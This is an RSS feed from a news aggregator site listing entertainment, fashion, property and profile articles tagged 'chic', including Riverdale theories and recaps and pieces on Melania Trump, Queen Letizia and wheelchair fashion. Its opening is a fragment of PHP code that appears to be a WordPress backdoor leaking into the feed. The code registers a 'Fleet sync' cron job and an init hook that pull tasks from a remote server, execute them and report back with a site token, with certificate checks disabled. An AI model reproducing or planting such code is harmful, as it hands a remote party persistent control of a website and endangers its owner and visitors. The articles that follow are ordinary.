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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Chic – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 06 Feb 2020 00:23:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Chic – Brief News https://briefnews.eu 32 32 Riverdale season 4 theories: Charles and Chic killed Jughead – here’s how https://briefnews.eu/riverdale-season-4-theories-charles-and-chic-killed-jughead-heres-how/ https://briefnews.eu/riverdale-season-4-theories-charles-and-chic-killed-jughead-heres-how/#respond Thu, 06 Feb 2020 00:23:27 +0000 http://briefnews.eu/riverdale-season-4-theories-charles-and-chic-killed-jughead-heres-how/

As CW mystery shows have demonstrated, fan theories should always be taken with a hearty pinch of salt.

For all its teen angst and steamy romances, Riverdale boasts one of the most complex soap opera plots on TV, and fans never know when their detailed theories will get second-guessed by the show’s unpredictable writers. 

Riverdale returns tonight, but given that this episode will introduce the show’s second spin-off (after Sabrina), it’s not expected to reveal any answers about Jughead’s mysterious demise. 

Riverdale season 4 continues on February 5 on The CW and February 6 on Netflix UK.

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]]> https://briefnews.eu/riverdale-season-4-theories-charles-and-chic-killed-jughead-heres-how/feed/ 0 Riverdale season 4: Was Chic Cooper really the Gargoyle King? https://briefnews.eu/riverdale-season-4-was-chic-cooper-really-the-gargoyle-king/ https://briefnews.eu/riverdale-season-4-was-chic-cooper-really-the-gargoyle-king/#respond Sat, 05 Oct 2019 07:02:34 +0000 http://briefnews.eu/riverdale-season-4-was-chic-cooper-really-the-gargoyle-king/

Was Chic Cooper really the Gargoyle King in Riverdale?

WARNING: This article contains spoilers from Riverdale.

In the very last episode of season three, Chic Cooper was unveiled to be the Gargoyle King.

Thanks to Penelope Blossom (Nathalie Boltt), Chic ended the series behind bars.

However, eagle-eyed fans are pretty sure the matter of the Gargoyle King’s identity is anything but solved.

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Several theories have emerged surrounding Chic being used as a scapegoat for the real Gargoyle King.

The main problem for fans stems from the height of Chic compared to the enigmatic character.

Chic doesn’t appear to be anywhere near as tall as the mysterious figure spotted by several characters.

Of course, it could just be a filming inconsistency but it seems like it would too big a factor to miss.

Theories and potential theories don’t stop there for the Gargoyle King either.

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Again stemming from the mystery of the two characters’ heights, some think Chic could be working with others.

Could it be that there s more than one Gargoyle King reigning down terror?

Fingers crossed a definitive answer is revealed in the upcoming series.

In the meantime, several fans have voiced their doubts about Chic being the Gargoyle King.

READ MORE: Riverdale season 4: Showrunner speaks out about major plot U-turn 

Taking to Twitter, one fan said: “I’m gonna take a hard stance here. Chic is not the Gargoyle King.”

A second agreed: “I would buy Chic being the GK (Gargoyle King) if we didn’t already know it was Tall Boy who broke into the Coopers.”

While a third said: “Also the Gargoyle King is creepy but not as creepy as Chic was #Riverdale.”

Fans will just have to wait until later this month to find out the truth.

River dale season 4 premieres on The CW on October 9 and Netflix on October 10.

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]]> https://briefnews.eu/riverdale-season-4-was-chic-cooper-really-the-gargoyle-king/feed/ 0 Melania Trump wears chic all-black ensemble for Donald’s United Nations talks in New York https://briefnews.eu/melania-trump-wears-chic-all-black-ensemble-for-donalds-united-nations-talks-in-new-york/ https://briefnews.eu/melania-trump-wears-chic-all-black-ensemble-for-donalds-united-nations-talks-in-new-york/#respond Tue, 25 Sep 2018 15:44:15 +0000 http://briefnews.eu/melania-trump-wears-chic-all-black-ensemble-for-donalds-united-nations-talks-in-new-york/

Melania Trump, 48, was by her husband’s side today at the United Nations talks in New York City.

The Presidential pair were at the General Debate of the 73rd session of the General Assembly, where Donald joined in discussions.

Looking as chic as ever, the First Lady wore an all-black ensemble, looking understated and demure for the political event.

As she took her seat for the talks, Melania greeted fellow attendees with a kiss on the cheek.

As she prepared to watch her husband, Melania looked stunning in a black fitted midi shirt dress.

The dress featured a high neck with collar detailing, featuring buttons running down the length of the dress.

Adding more of a shirt feel to the garment, it also featured pocket detailing with matching buttons.

Showing off her enviable figure, the garment was cinched in at the waist by a thin black belt.

The bottom half of the chic dress also featured pocket detailing, a look similar to that seen on Meghan Markle earlier in the year.

Melania wore her caramel brown hair in its signature style, loose, parted in the middle and with natural curls.

Her makeup was brown and nude in tone, in keeping with the demure, minimalistic feel of the outfit.

On her feet she finished the outfit off with a sky-high pair of black court shoes, elongating her model-esque frame. 

Melania was also joined by Donald’s children, Eric, Ivanka and Tiffany Trump, along with Ivanka’s husband, Jared Kushner.

Donald’s eldest daughter and senior advisor to the president, Ivanka, wore a grey, checkered two-piece skirt suit, which looked slightly too big for her.

The family were at the UN headquarters to watch President Trump address the General Debate of the General Assembly, but Melania didn’t sit with the rest of the Trump clan.

Last week, Melania once again stunned in a cream and navy blue coat.

Meeting with foreign dignitaries, Melania opted for a nautical theme, wearing the thick, woollen coat.

The white and blue number was a Gucci piece and costs and whopping £2,400 on the brand’s website.

US President Donald Trump and First Lady Melania Trump waited for the arrival of Polish President Andrzej Duda, 46, and his wife Agata Kornhauser-Duda, also 46, to the White House.

Agata Kornhauser-Duda is a German teacher and works at the Jan III Sobieski High School, Kraków.

Melania Trump: Five facts about the USA’s First Lady

Languages

Mum-of-one Melania can speak more languages than any other First Lady before her: English, French, German, Italian, Serbian and of course her mother tongue, Slovenian.

This also makes her the only First Lady whose first language is not English.

Religion

After Jacqueline Kennedy, Melania is the second First Lady who is a practising Catholic.

She met Pope Francis as part of a foreign tour with her husband and stepdaughter Ivanka last year.

Career

Melania was a successful model, posing for Sports Illustrated, Vanity Fair, Vogue, Harper’s Bazaar and GQ.

Her skills aren’t confined to print, and she appeared in a commercial for Aflac, an American insurance company, in 2005.

Family

Melania’s parents are Amalija Knavs and Viktor Knavs, and the couple live together in Washington.

She has one sister, Ines, who is reported to live in New York and work as an artist.

Charity

On May 7 2018, Melania launched her flagship campaign as First Lady, BE BEST, which The White House describes as “an awareness campaign focused entirely around the well-being of children”.

There are three main strands to the initiative: well-being, social media, and opioid abuse.

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]]> https://briefnews.eu/melania-trump-wears-chic-all-black-ensemble-for-donalds-united-nations-talks-in-new-york/feed/ 0 Property News: Country bolthole with chic and good cheer https://briefnews.eu/property-news-country-bolthole-with-chic-and-good-cheer/ https://briefnews.eu/property-news-country-bolthole-with-chic-and-good-cheer/#respond Sun, 23 Sep 2018 08:52:17 +0000 http://briefnews.eu/property-news-country-bolthole-with-chic-and-good-cheer/

The Duke and Duchess of Sussex are reported to have signed a two-year lease on a cottage in Great Tew, a picture-perfect village on Lord and Lady Bamford’s Great Tew Estate on the Oxfordshire border with Gloucestershire. 

Lady Bamford created Daylesford Organic Farm – a farmshop, restaurant, café and garden shop with a spa attached – that has proved a huge draw for people wanting to relocate to the countryside, whether to bring up children or downsize. 

“It is massive,” says Ben Way of estate agents Butler Sherborn’s Stow office. 

“People fl y into the farmshop by helicopter. It’s ridiculous. It’s hideously expensive but very good.” 

Like Harry and Meghan, David and Victoria Beckham also have a home in Great Tew and it’s where you’ll find Soho Farmhouse, a members’ club and hotel that attracts “creative types”. 

Meghan had her hen party there. 

“Many Londoners who move to the Cotswolds now want to be within easy reach of Daylesford,” says Ben. 

“They can just get off the train at Kingham – it’s an easy journey from London.” 

But while the A-listers pay a fortune at Daylesford or Soho Farmhouse, the Cotswolds are blessed with country pubs where the rest of us can indulge in seasonal food sourced locally and washed down by local beer, such as Donningtons brewed in Stow-on-the-Wold. 

“Locally produced seasonal food is increasingly important to the area,” says Ben. 

“There are a lot of markets, independent shops and delicatessens, that sort of thing. And all the pubs are local-orientated. Most are gastro pubs really.” 

In fact, if you are looking to buy a house in the Cotswolds based on accessibility to a good pub, you’ll be spoilt for choice.

“They mostly have good views and lovely beer gardens but at this time of the year, now we’re coming into autumn, they’re also good for sitting around open fires,” says Ben. 

There’s The Fox Inn at Lower Oddington near Stow-on-the-Wold, with a sheltered walled garden for summer and roaring fires in winter – plus a seasonal British menu. 

It is close to Daylesford but also to Orchard House in Longborough, Gloucestershire, a Cotswold stone house that dates back to the 1700s and has an old stone bread oven, flagstone and wooden floors plus feature fireplaces, as well as three double bedrooms and two bathrooms. 

It’s for sale at £895,000 (01451 830731; butlersherborn.co.uk). The King’s Head Inn at Bledington, Oxfordshire, was voted Pub Of The Year 2018 by The Good Pub Guide and also serves local food. 

It’s not far from Stayts Farm in Church Westcote, Gloucestershire, a Grade II-listed 17th-century house with an Aga in the kitchen breakfast room, leaded light stone mullion windows, flagstone floors and open fi replaces. 

Its first-floor master bedroom has a dressing area and shower room while there are three other bedrooms and an attic room.

For sale at £1.25million (01451 830731; butlersherborn.co.uk), it has large gardens, an orchard, stone outbuildings and parking. 

Meanwhile 31 Manor Farm Cottages in Hawling, Gloucestershire, is close to The Black Horse Inn run by Donnington Brewery in Naunton, where Donnington beer-battered cod and chips with mushy peas is a speciality. 

It has wood burning stoves, an open plan kitchen and four bedrooms – two with ensuite showers – plus a family bathroom, for sale at £795,000 (01451 830731; butlersherborn.co.uk). 

As Butler Sherborn’s founding partner Sam Butler says of the Cotswolds: “You don’t have to go far to find exceptional food, a roaring log fi re and a warm welcome. And if you’re new to the area, there’s the opportunity to meet new people and quickly feel part of the community.” 

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]]> https://briefnews.eu/property-news-country-bolthole-with-chic-and-good-cheer/feed/ 0 Disability Chic: These Irish Sisters Are the Wheel Deal https://briefnews.eu/disability-chic-these-irish-sisters-are-the-wheel-deal/ https://briefnews.eu/disability-chic-these-irish-sisters-are-the-wheel-deal/#respond Wed, 29 Aug 2018 05:48:00 +0000 http://briefnews.eu/disability-chic-these-irish-sisters-are-the-wheel-deal/ When Ailbhe Keane was young, her little sister’s wheelchair was her art project. Isabel, paralyzed from the waist down by spina bifida, would at times have a chair decorated in bright colors. “It attracted a lot of attention,” says Ailbhe, “but it was just temporary stuff.”

Not so temporary anymore. The two sisters are founders of the Dublin-based Izzy Wheels, which sells colorful removable wheel covers for wheelchairs like Isabel’s. Isabel herself may be their best advertisement, zipping through their Instagram videos in her brightly colored duds and wheel covers, a huge grin on her face.

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Izzy Wheels was born in 2016 from a final-year project Ailbhe completed for her visual communications degree at the National College of Art and Design. Inspired by her childhood hobby of decorating Isabel’s chair, she “spent a whole year experimenting with ways of improving the chair. And the wheels were just this big blank canvas screaming for something to make it look better.”

Your wheelchair looking the same every day is like wearing the same coat every day, the same pair of shoes.

Ailbhe Keane

Two years later, Ailbhe, 25, and Isabel, 21, are full-blown entrepreneurs, with customers in 35 countries (though most sales are to the U.S.) and 40 designer collaborations under their belts. While Ailbhe initially did all the design herself, she soon realized that her style wouldn’t suit every customer and reached out to a few designers. As Izzy Wheels has grown, Ailbhe says, dozens of designers are now reaching out weekly about working on sets of wheels. Ailbhe would not reveal the company’s revenue, though she says a portion of its proceeds will go to Irish disability-focused charities.

Ailbhe, busy as creative director of the brand, rarely designs herself now outside of bespoke projects — such as a set of wheels commissioned for a customer’s wedding. The sisters have seen professional accolades too: They made Forbes’ “30 Under 30” list this year and were the first Irish people featured on the main Instagram account last summer, which helped balloon their follower count to nearly 43,000.

Isabel, responsible for a growing social media community on Instagram and Facebook as the brand’s primary ambassador, is chatty and cheerful, with an expert touch at creating a positive, engaged community of customers online. You know how there are a select few brands people love? Izzy Wheels may have a limited community of consumers, but it’s a community that’s been largely ignored by consumer culture — and those who use the wheel covers are passionate, positive and proud, sending in photos of themselves with their new chair outfits and buying several sets of wheels. “You have different wheels to go with different moods, different outfits,” says Ailbhe. “Your wheelchair looking the same every day is like wearing the same coat every day, the same pair of shoes.”

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That explanation — concise, relatable, witty — is another hallmark of the Keane sisters’ mission: They want the world to understand how people in wheelchairs relate to their chairs, to see those with disabilities as people rather than symbols of fortitude or a needy minority. “I’m very much aware that my chair is visible to other people when they meet me, and I don’t want that to be the elephant in the room,” says Isabel. “I want people to know they can approach me about it and ask me questions about it, and that’s not a rude thing. We all love talking about ourselves, and it’s a part of who I am.”

To be sure, having a good-looking wheelchair won’t necessarily make life for those with disabilities materially easier. While Isabel notes that Ireland offers free public travel for people with disabilities, they have to book a day in advance, and social spaces like nightclubs and concerts often have limited wheelchair access. Ireland has been slow to make changes to laws about disability: The 144-year-old Lunacy Regulations Act (yes, that was the name), allowing courts to control details of the lives of those with intellectual disabilities, was only repealed in 2015.

But life for people with disabilities in Ireland may be changing too. In March, it became the last country in Europe to ratify the U.N. Convention on the Rights of Persons With Disabilities, which insists on equality for the 13 percent of Irish citizens who are disabled. Alannah Murray, a young Irish disability activist, doesn’t use Izzy Wheels because they aren’t compatible with her chair, but she loves what the company is doing. “Izzy Wheels has really been a pioneer in turning disability into a fashion statement,” she says.

Murray notes that other positive changes are on the horizon, like fashion brand ASOS premiering its first wheelchair-friendly jumpsuit. In the U.S., stylist Stephanie Thomas launched the website Cur8able to show off disability-friendly fashion and has pushed major brands for more inclusive designs. “You can’t market to people you don’t see,” she said in a 2016 TEDx Talk. “And you just can’t see people that you don’t value. And I don’t mean value as human beings; I mean value as potential customers.”

The Keanes aren’t planning to stop at wheel covers. While Isabel is now part time with the company while studying politics and French at Galway University, there’s a lot of work to do when it comes to wheelchair fashion. Not only are people with disabilities rarely represented on catwalks, Isabel explains, but many people with disabilities can’t buy clothes from traditional stores. “Disability fashion has been such an underserved area of design for so long,” Ailbhe explains, hinting that the company will launch a new type of product by 2019. “We want to create things for wheelchairs and other mobility aids — fashionable things that look good, things that are designed by artists and fashion designers … not by hospitals.”

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]]> https://briefnews.eu/disability-chic-these-irish-sisters-are-the-wheel-deal/feed/ 0 Can She Make Traditional Bolivian Attire Chic? https://briefnews.eu/can-she-make-traditional-bolivian-attire-chic/ https://briefnews.eu/can-she-make-traditional-bolivian-attire-chic/#respond Thu, 23 Aug 2018 14:40:47 +0000 http://briefnews.eu/can-she-make-traditional-bolivian-attire-chic/ Eliana Paco’s mother has always worn the traditional clothing of the Chola Paceñas, as the Aymara women of La Paz are known, and she has worked sewing it and selling it within her community too. But she forbade her daughter from wearing the puffy skirt called a pollera, the embroidered tasseled shawl or the bowler hat that combine with long braids to form the chola ensemble.

“I think she did it to protect me from discrimination,” Paco says. “I wore sweatpants or jeans instead.”

Originally imposed by the Spanish crown at the end of the 18th century as a way to identify women of indigenous blood and deny them their traditional clothing, the Chola Paceña attire has long served as grounds for discrimination against indigenous women. The term “chola” itself was derogatory. But lately there has been a resurgent pride in chola clothing, much of it because of the election of the nation’s first Aymara president, Evo Morales, in 2005, but some of it because of designers like Paco.

In Bolivia, people always try to imitate other countries and sometimes fail to recognize the riches we have within our own country.

Eliana Paco

After leaving her mother’s home when she married after high school, Paco not only began wearing traditional chola clothing, she started making it. Today, Paco’s elegant designs combine bright colors, modern textures, flashy details and elegant cuts with price tags as high as $ 2,000. Her designs have become a favorite among discerning cholas, and have graced runways as far away as New York.

“Eliana Paco is a leader in what has been the revalorization of this attire. She has strengthened a sense of identity within the culture that uses it and generated appreciation for it outside of the culture and outside of the country,” says Micol Balderrama, who works for the office of cultural affairs in the municipality of La Paz, which has named Paco a cultural ambassador.

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She was a featured designer when La Paz launched its first annual chola fashion show in 2005 in an attempt to shore up pride in a waning slice of national culture, but Paco’s career really took off during Bolivia Fashion Week in 2016 in the city of Cochabamba. The event’s organizers were intent on including a chola in the mix of Bolivian and international designers; Paco was the only one who accepted. “I think there was a lot of fear among the designers of presenting chola fashion on an international runway,” says Pamela Alarcón, the event’s director. “Eliana took a big risk to get up on that runway, which was outside of her social context.”

It paid off. Later that year, Alarcón arranged for her to show her designs at New York Fashion Week. “In Bolivia, people always try to imitate other countries and sometimes fail to recognize the riches we have within our own country,” Paco says. But when Bolivians saw chola attire in a foreign fashion week, “they felt pride in it and dignified it.”

Now, two years after that first international show, she moves seamlessly between her culture and the fashion world. In the La Paz neighborhood where there are dozens of modest shops selling polleras and shawls, where women sell food out of carts on the streets and men drink beer on the corner, Paco tends her well-appointed store. Inside, a long row of pastel-colored petticoats, which give the pollera its distinctive lift, form a lacey canopy over a long, black couch. On a recent evening, she stood behind her desk, wearing a subdued black pollera and a long, open black and gray sweater. She was holding an impromptu meeting with a handful of women who belong to a 120-member-strong pollera makers’ association that she presides over as president.

Three evenings later, she was wearing a sequined shawl that featured a floral design and macramé, a black bowler hat, dangling earrings and a pollera at a fashion show in La Paz. After the show, she embraced the lanky models who had strutted her elegant designs down the runway to the beat of electronic music. She kissed fellow designers on the cheek and graciously received praise from other guests, as people milled about posing for pictures and pressing business cards into each other’s hands.

But Paco’s crossover into this world has also drawn criticism. After Bolivia Fashion Week, Paco says she got flak for dressing a model in a pollera and high heels, instead of the flats favored by cholas. She also shows models in corsets using transparent fabrics and low or open necklines, as opposed to the traditional, high-necked blouse. The municipality of La Paz recently outlawed these modifications for official festivities where cholas perform dances, in an attempt to preserve the authentic attire that the government has declared intangible cultural patrimony.

According to Valeria Salinas, who teaches at the Private University of Bolivia and researches the chola fashion movement, “it is one thing to make the attire more fashionable and another to distort it.” Now, non-chola women are sparking complaints of cultural appropriation and talk of original versus “transformed cholas,” Salinas says.

For Paco, who declined to reveal her age, fashion is not static, and modernizing chola style without breaking its traditional form and elements is a way to lure a reluctant generation of cholas back to the attire. When she dresses non-chola women in her designs — whether it is foreign diplomats stationed in La Paz or runway models — she sees it as a cultural exchange. And even the cultural purists at the municipality accept that Paco has more leeway on international runways to bend the limits of tradition.

As Paco looks to the future, her eye is both on Bolivia and abroad. Domestically, she wants to promote shawls made of alpaca fiber and work with contacts in the local textile industry so that one day, she can design clothes from 100 percent Bolivian products.

Her other goal is to rekindle the acquaintance she made at the fashion weeks in Bolivia and New York with designer Ágatha Ruiz de la Prada, a member of Spanish royalty, who Paco says was very supportive. Paco says her goal is to show her work in Europe and hopefully leave something of hers behind in the window of one of de la Prada’s boutiques in Spain. If she does, she will be taking attire forced by the Spanish on Bolivian women hundreds of years ago and giving it a triumphant return.

SOURCE: Juan Karita/AP

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]]> https://briefnews.eu/can-she-make-traditional-bolivian-attire-chic/feed/ 0 Queen Letizia looks chic in monochrome as she steps out in Madrid https://briefnews.eu/queen-letizia-looks-chic-in-monochrome-as-she-steps-out-in-madrid/ https://briefnews.eu/queen-letizia-looks-chic-in-monochrome-as-she-steps-out-in-madrid/#respond Fri, 18 May 2018 14:59:47 +0000 http://briefnews.eu/queen-letizia-looks-chic-in-monochrome-as-she-steps-out-in-madrid/

Queen Letizia, 45, visited a Military Emergencies Unit in Madrid today, and the royal made sure to look her best for the day.

Mum-of-two Letizia showed off her trim figure in a pair of slim cut black trousers which were cropped at the ankle.

A row of buttons could be seen running up the leg of the trousers.

She paired this with a simple black top, and over the top, she wore a collarless white swing coat which added a 60s feel to her look.

Letizia wore a pair of simple black court shoes. The skinny heels added inches to her frame.

Pulling the look together, Letizia carried a white and black clutch in her hands.

A pair of diamond earrings could be seen in her ears, but the royal didn’t appear to be wearing any other jewellery.

As the event was lowkey, Letizia kept her hair and makeup simple. She wore her hair straight down over her shoulders with a slight side parting.

Makeup-wise, she stuck with a simple sweep of bronzer and a peach lipstick.

Her nails were also bare – unusual for the glamorous royal, who often wears them with red polish.

As the summer approaches, Letizia is wearing a lot of white outfits.

Earlier this week, she stepped out in a tight-fitting white dress.

The Spanish royal and her husband King Felipe, 50, welcomed the Colombian President and his wife to La Zarzuela Palace in Madrid.

A slim black belt at the waist further highlighted her tiny frame.

Letizia paired the dress with a pair of simple black leather courts, slightly different from the pair she is wearing today.

At the start of the month, Letizia showed off her slim frame in a pair of white trousers which skimmed her thighs, flaring out at the bottoms in a flattering finish.

A sharp white jacket matched the trousers, and Letizia continued the angelic theme with a white silk top underneath.

Adding some contrast, Letizia held a brown and white leather bag in her hand.

She completed the look with a pair of tan leather stiletto heels.

Her long brown hair was tucked behind her ears, and a pair of drop earrings could be seen dangling as she walked.

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]]> https://briefnews.eu/queen-letizia-looks-chic-in-monochrome-as-she-steps-out-in-madrid/feed/ 0 Chic Hospitality: A Review of Dubai’s La Ville Hotel & Suites City Walk https://briefnews.eu/chic-hospitality-a-review-of-dubais-la-ville-hotel-suites-city-walk/ https://briefnews.eu/chic-hospitality-a-review-of-dubais-la-ville-hotel-suites-city-walk/#respond Sat, 17 Mar 2018 22:02:26 +0000 http://briefnews.eu/chic-hospitality-a-review-of-dubais-la-ville-hotel-suites-city-walk/

A Review of the La Ville Hotel & Suites City Walk in Dubai

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]]> https://briefnews.eu/chic-hospitality-a-review-of-dubais-la-ville-hotel-suites-city-walk/feed/ 0 Riverdale season 2 spoilers: Chic Cooper to KILL sister Polly in horrifying twist? https://briefnews.eu/riverdale-season-2-spoilers-chic-cooper-to-kill-sister-polly-in-horrifying-twist/ https://briefnews.eu/riverdale-season-2-spoilers-chic-cooper-to-kill-sister-polly-in-horrifying-twist/#respond Tue, 13 Mar 2018 05:36:45 +0000 http://briefnews.eu/riverdale-season-2-spoilers-chic-cooper-to-kill-sister-polly-in-horrifying-twist/

Riverdale season two has been getting more and more danger-filled as it hurtles towards its gripping conclusion over the next couple of months.

Yet now it seems that another mystery is about to become even complicated as Alice Cooper’s (played by Madchen Amick) long-lost son Chic (Hart Denton) takes a sinister turn.

The last few episodes have already seen Betty (Lili Reinhart) become more and more suspicious of her new housemate.

His behaviour has become increasingly strange, and last week in particular even saw Betty’s boyfriend Jughead Jones (Cole Sprouse) warn the blonde that he’d had a “bad vibe” from the webcam actor.

Now in a new trailer for episode 15 of the teen mystery, which is based on the popular long-running Archie Comics, Chic seems to be taking his secret plans one step further.

In one clip, he can be seen cutting a photograph of the family in half, removing Polly (Tiera Skovbye) from the image.

And in another tense scene, Chic begs Betty for their living situation to go back as it was.

“Wasn’t it better when it was just me you and mom?” he asks, following the development that will see Polly move back into the house with her newborn twins.

Chic’s obsessive nature towards Alice and Betty has had many fans guessing that Hal Cooper (Lochlyn Munro) isn’t actually the newcomer’s father.

In fact, some believe that Chic is actually the lovechild of Alice and FP Jones (Skeet Ulrich) from her days in the Southside Serpents gang.

Yet with the new trailer, it could prove that Chic isn’t actually Alice’s son at all, and is simply an obsessive murderer out to make Alice and Betty his new family.

As the drama heats up, Betty will turn to her close friend Kevin (Casey Cott) for help deciphering Chic’s true motives.

Whatever happens, it seems that actor Hart is around until near the end of the season, as actress Lili has posted recent photos of the pair enjoying downtime on set together.

The next episode will also see Cheryl Blossom (Madelaine Petsch) and her mother Penelope (Nathalie Boltt) making a startling discovery when it turns out that dead father Clifford (Barclay Hope) has left behind a secret will.

But what will it say, and will it mean that Penelope and Cheryl’s financial troubles are finally resolved?

Riverdale continues Wednesdays in the US and follows a day later on Netflix.

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]]> https://briefnews.eu/riverdale-season-2-spoilers-chic-cooper-to-kill-sister-polly-in-horrifying-twist/feed/ 0 Riverdale Recap: A Chic Is Hatched https://briefnews.eu/riverdale-recap-a-chic-is-hatched/ https://briefnews.eu/riverdale-recap-a-chic-is-hatched/#respond Thu, 18 Jan 2018 06:28:59 +0000 http://briefnews.eu/riverdale-recap-a-chic-is-hatched/ Need to catch up? Check out our previous Riverdale recap here.

Riverdale‘s Black Hood killer has been captured — we think — but this week’s winter premiere gave the gang plenty of new problems to worry about.

With no Black Hood to unmask, and no Jughead to cuddle with, Betty decides to stir up some family drama to pass the time. Her sister Polly had her twins — offscreen, for some reason — and doesn’t want any contact with their parents, so Betty thinks it’s the perfect time to track down her long-lost brother. (Remember? Alice gave birth to a son back in high school and gave him up for adoption.) Betty digs up an address for a “Charles Smith” who lives two towns over, and even though Hal doesn’t approve, Alice admits she would like to meet her son. So she and Betty head to a seedy motel to meet him… and yeah, it doesn’t go great.

“Charles” is actually Chic: a gaunt, defensive loner with years of resentment built up against the Coopers. (“You’re lucky they wanted to keep you,” he sneers at Betty.) He also has some creepy business going on with a video camera set up in his motel room — “fantasy fulfillment,” he calls it — and his rude welcome sends Alice running out in tears. Betty’s not ready to give up on him, though, and when she returns to the motel, she finds Chic right in the middle of getting stabbed and pepper-sprays his assailant, taking Chic back home to safety. The Coopers nurse him back to health, and it looks like this family might be coming together after all… until we see Betty sleeping peacefully, and Chic looming over her bed like a psycho. Yikes. Can’t Betty go a week without some lunatic obsessing over her?

But there was plenty of non-Cooper drama in “The Blackboard Jungle,” too:

Riverdale Season 2 Episode 10 Archie CherylTHE REDHEAD AND THE FED | We also find out who’s been snapping those clandestine photos of Archie: It’s an FBI agent who thinks Hiram is “a very dangerous man” who’s tied up with organized crime, and wants Archie’s help in bringing him down. He tells Archie to find out if Nick St. Clair’s car “accident” was really an accident — so the FBI is recruiting teens to solve federal cases now? — and Archie is extra motivated to see Nick again after Cheryl blabs that he attacked Veronica, too. So Archie cooks up an excuse to get another hush-money check for Cheryl to replace the one that got tossed in the fire… and he dons Jason Blossom’s blazer for the big meeting. (Wha? Is he wearing a wire to collect evidence?)

When Archie confronts Nick, who’s laid up with two broken legs, the sleaze insists that he just had a “skiing accident.” He’s more than happy to write another check, but when Archie presses him for answers, Nick calls him a “small-town hick” and taunts him about Veronica — which results in Archie beating the tar out of him. Archie’s also a little mad at himself: He confesses to Veronica that he kissed Betty (!) during their Black Hood hunt. Ronnie takes the news hard, but calls it “a my-life-is-in-danger kiss” and forgives her Archiekins. When Archie meets again with the FBI guy, though, he has another nagging doubt on his mind. He asks the agent if he thinks Mr. Svenson actually was the Black Hood killer… because Archie’s still not sure. (Yeah, me either.)

Riverdale Season 2 Episode 10 Jughead ToniNO JACKET REQUIRED | Jughead’s storyline this week basically boils down to: He and the Serpents are forced to transfer to Riverdale High after their school is shut down, and he doesn’t want to take his Serpent jacket off. (Really. That’s about it.) It seems a little silly — even F.P. tells him to just take the darn thing off — but Jughead finds a way around the rules, starting up a “Swords & Serpents” club that allows the Serpents to conduct gang business during school hours. The big news here, though, is that the Lodges conspired with Mayor McCoy to get Southside High shut down. The Lodges will buy the land underneath Southside High, and donate a portion of the profits to the mayor’s reelection campaign. When did Riverdale turn into House of Cards?

Yearbook Notes:

* Happy to get a heaping helping of Cheryl Blossom, aka “Fascist Barbie” (thanks for that, Veronica), this week. And it was pretty amusing that even though Cheryl brought home that fat check from Nick St. Clair, her mom Penelope wants to continue sleeping with strangers for money… oh, I mean “providing comfort and companionship to the lonely men of Riverdale.” Hey, finding a job you love to do is one of life’s greatest blessings.

* Considering how mad Hal got when Betty brought up Chic: Is it possible that Chic isn’t Hal’s son? Alice was kind of close with F.P. back then, wasn’t she?

* Speaking of Chic: The poor guy was bleeding from a pretty nasty stab wound. Maybe get him to a hospital, instead of bringing him home and patching him up with a first-aid kit?

* I’m liking the hint of a new romance between Kevin and Serpent gang member Fangs. Kevin Keller deserves to be happy, people!

* As an old-school video-game nerd, I enjoyed seeing Jughead and the Serpents smash buttons on Mortal Kombat at the Whyte Wyrm. That game is older than most of the actors on this show!

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